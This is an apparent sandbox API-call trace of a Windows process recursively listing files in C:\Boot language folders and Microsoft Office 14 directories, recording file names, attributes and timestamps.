	[0249.377] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0249.378] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0249.378] FindClose (in: hFindFile=0x41b21d0 | out: hFindFile=0x41b21d0) returned 1
	[0249.378] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4180050 | out: hHeap=0x4a0000) returned 1
	[0249.378] FindNextFileW (in: hFindFile=0x3b083a8, lpFindFileData=0x374fa84 | out: lpFindFileData=0x374fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1
	[0249.378] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x4180050
	[0249.378] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b21d0
	[0249.378] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0249.378] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0249.378] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0249.378] FindClose (in: hFindFile=0x41b21d0 | out: hFindFile=0x41b21d0) returned 1
	[0249.378] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4180050 | out: hHeap=0x4a0000) returned 1
	[0249.378] FindNextFileW (in: hFindFile=0x3b083a8, lpFindFileData=0x374fa84 | out: lpFindFileData=0x374fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1
	[0249.378] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x4180050
	[0249.378] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b21d0
	[0249.378] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0249.378] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0249.379] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0249.379] FindClose (in: hFindFile=0x41b21d0 | out: hFindFile=0x41b21d0) returned 1
	[0249.379] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4180050 | out: hHeap=0x4a0000) returned 1
	[0249.379] FindNextFileW (in: hFindFile=0x3b083a8, lpFindFileData=0x374fa84 | out: lpFindFileData=0x374fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0
	[0249.379] FindClose (in: hFindFile=0x3b083a8 | out: hFindFile=0x3b083a8) returned 1
	[0249.379] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4170048 | out: hHeap=0x4a0000) returned 1
	[0249.379] FindNextFileW (in: hFindFile=0x4fb268, lpFindFileData=0x374fd00 | out: lpFindFileData=0x374fd00*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x731a1c60, ftCreationTime.dwHighDateTime=0x1d542e6, ftLastAccessTime.dwLowDateTime=0x731a1c60, ftLastAccessTime.dwHighDateTime=0x1d542e6, ftLastWriteTime.dwLowDateTime=0x731a1c60, ftLastWriteTime.dwHighDateTime=0x1d542e6, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="bootex.log", cAlternateFileName="")) returned 1
	[0249.379] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x4170048
	[0251.030] FindNextFileW (in: hFindFile=0x41b22d0, lpFindFileData=0x374f094 | out: lpFindFileData=0x374f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0251.030] FindNextFileW (in: hFindFile=0x41b22d0, lpFindFileData=0x374f094 | out: lpFindFileData=0x374f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72003fbd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72003fbd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e55fac9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39eaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_INTRO_BG.wmv", cAlternateFileName="")) returned 1
	[0253.906] FindClose (in: hFindFile=0x41b2510 | out: hFindFile=0x41b2510) returned 1
	[0253.907] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4190058 | out: hHeap=0x4a0000) returned 1
	[0253.907] FindNextFileW (in: hFindFile=0x41b2250, lpFindFileData=0x374f58c | out: lpFindFileData=0x374f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ee75d00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd248dbc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1ee75d00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x2d998, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRTVIEW.DLL", cAlternateFileName="")) returned 1
	[0253.908] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\*", lpFindFileData=0x374f310 | out: lpFindFileData=0x374f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2510
	[0253.908] FindNextFileW (in: hFindFile=0x41b2510, lpFindFileData=0x374f310 | out: lpFindFileData=0x374f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0253.908] FindNextFileW (in: hFindFile=0x41b2510, lpFindFileData=0x374f310 | out: lpFindFileData=0x374f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe7ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0253.908] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\*", lpFindFileData=0x374f094 | out: lpFindFileData=0x374f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe7ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b22d0
	[0253.909] FindNextFileW (in: hFindFile=0x41b22d0, lpFindFileData=0x374f094 | out: lpFindFileData=0x374f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe7ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0253.909] FindNextFileW (in: hFindFile=0x41b22d0, lpFindFileData=0x374f094 | out: lpFindFileData=0x374f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0xccc730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x3388, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACT3R.SAM", cAlternateFileName="")) returned 1
	[0253.909] FindClose (in: hFindFile=0x41b22d0 | out: hFindFile=0x41b22d0) returned 1
	[0253.910] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x422dcf8 | out: hHeap=0x4a0000) returned 1
	[0253.910] FindNextFileW (in: hFindFile=0x41b2510, lpFindFileData=0x374f310 | out: lpFindFileData=0x374f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x16178, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACT3.SAM", cAlternateFileName="")) returned 1
	[0253.912] FindClose (in: hFindFile=0x41b2510 | out: hFindFile=0x41b2510) returned 1
	[0253.912] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x421dcf0 | out: hHeap=0x4a0000) returned 1
	[0253.912] FindNextFileW (in: hFindFile=0x41b2250, lpFindFileData=0x374f58c | out: lpFindFileData=0x374f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18a49800, ftCreationTime.dwHighDateTime=0x1cbae39, ftLastAccessTime.dwLowDateTime=0xa2045a20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x18a49800, ftLastWriteTime.dwHighDateTime=0x1cbae39, nFileSizeHigh=0x0, nFileSizeLow=0x911b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CSS7DATA0009.DLL", cAlternateFileName="CSS7DA~3.DLL")) returned 1
	[0253.913] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\*", lpFindFileData=0x374f310 | out: lpFindFileData=0x374f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2510
	[0253.928] FindNextFileW (in: hFindFile=0x41b2510, lpFindFileData=0x374f310 | out: lpFindFileData=0x374f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0253.928] FindNextFileW (in: hFindFile=0x41b2510, lpFindFileData=0x374f310 | out: lpFindFileData=0x374f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0253.928] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\*", lpFindFileData=0x374f094 | out: lpFindFileData=0x374f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b22d0
	[0253.928] FindNextFileW (in: hFindFile=0x41b22d0, lpFindFileData=0x374f094 | out: lpFindFileData=0x374f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0253.928] FindNextFileW (in: hFindFile=0x41b22d0, lpFindFileData=0x374f094 | out: lpFindFileData=0x374f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1
	[0253.928] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14\\*", lpFindFileData=0x374ee18 | out: lpFindFileData=0x374ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2590
	[0253.929] FindNextFileW (in: hFindFile=0x41b2590, lpFindFileData=0x374ee18 | out: lpFindFileData=0x374ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0253.929] FindNextFileW (in: hFindFile=0x41b2590, lpFindFileData=0x374ee18 | out: lpFindFileData=0x374ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3845b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x3fe4ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="Built-In Building Blocks.dotx", cAlternateFileName="BUILT-~1.DOT")) returned 1
	[0253.929] FindClose (in: hFindFile=0x41b2590 | out: hFindFile=0x41b2590) returned 1
	[0253.929] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4190058 | out: hHeap=0x4a0000) returned 1
	[0253.929] FindNextFileW (in: hFindFile=0x41b22d0, lpFindFileData=0x374f094 | out: lpFindFileData=0x374f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 0
	[0253.929] FindClose (in: hFindFile=0x41b22d0 | out: hFindFile=0x41b22d0) returned 1
	[0253.933] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x422dcf8 | out: hHeap=0x4a0000) returned 1
	[0253.933] FindNextFileW (in: hFindFile=0x41b2510, lpFindFileData=0x374f310 | out: lpFindFileData=0x374f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0
	[0253.933] FindClose (in: hFindFile=0x41b2510 | out: hFindFile=0x41b2510) returned 1
	[0253.933] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x421dcf0 | out: hHeap=0x4a0000) returned 1
	[0253.933] FindNextFileW (in: hFindFile=0x41b2250, lpFindFileData=0x374f58c | out: lpFindFileData=0x374f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff0d00, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xcfd6d220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6ff0d00, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x1acf78, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRILLDWN.DLL", cAlternateFileName="")) returned 1
	[0253.934] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\*", lpFindFileData=0x374f310 | out: lpFindFileData=0x374f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xccc730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2510
	[0253.935] FindNextFileW (in: hFindFile=0x41b2510, lpFindFileData=0x374f310 | out: lpFindFileData=0x374f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xccc730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0253.935] FindNextFileW (in: hFindFile=0x41b2510, lpFindFileData=0x374f310 | out: lpFindFileData=0x374f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0253.935] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\*", lpFindFileData=0x374f094 | out: lpFindFileData=0x374f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2590
	[0253.937] FindNextFileW (in: hFindFile=0x41b2590, lpFindFileData=0x374f094 | out: lpFindFileData=0x374f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
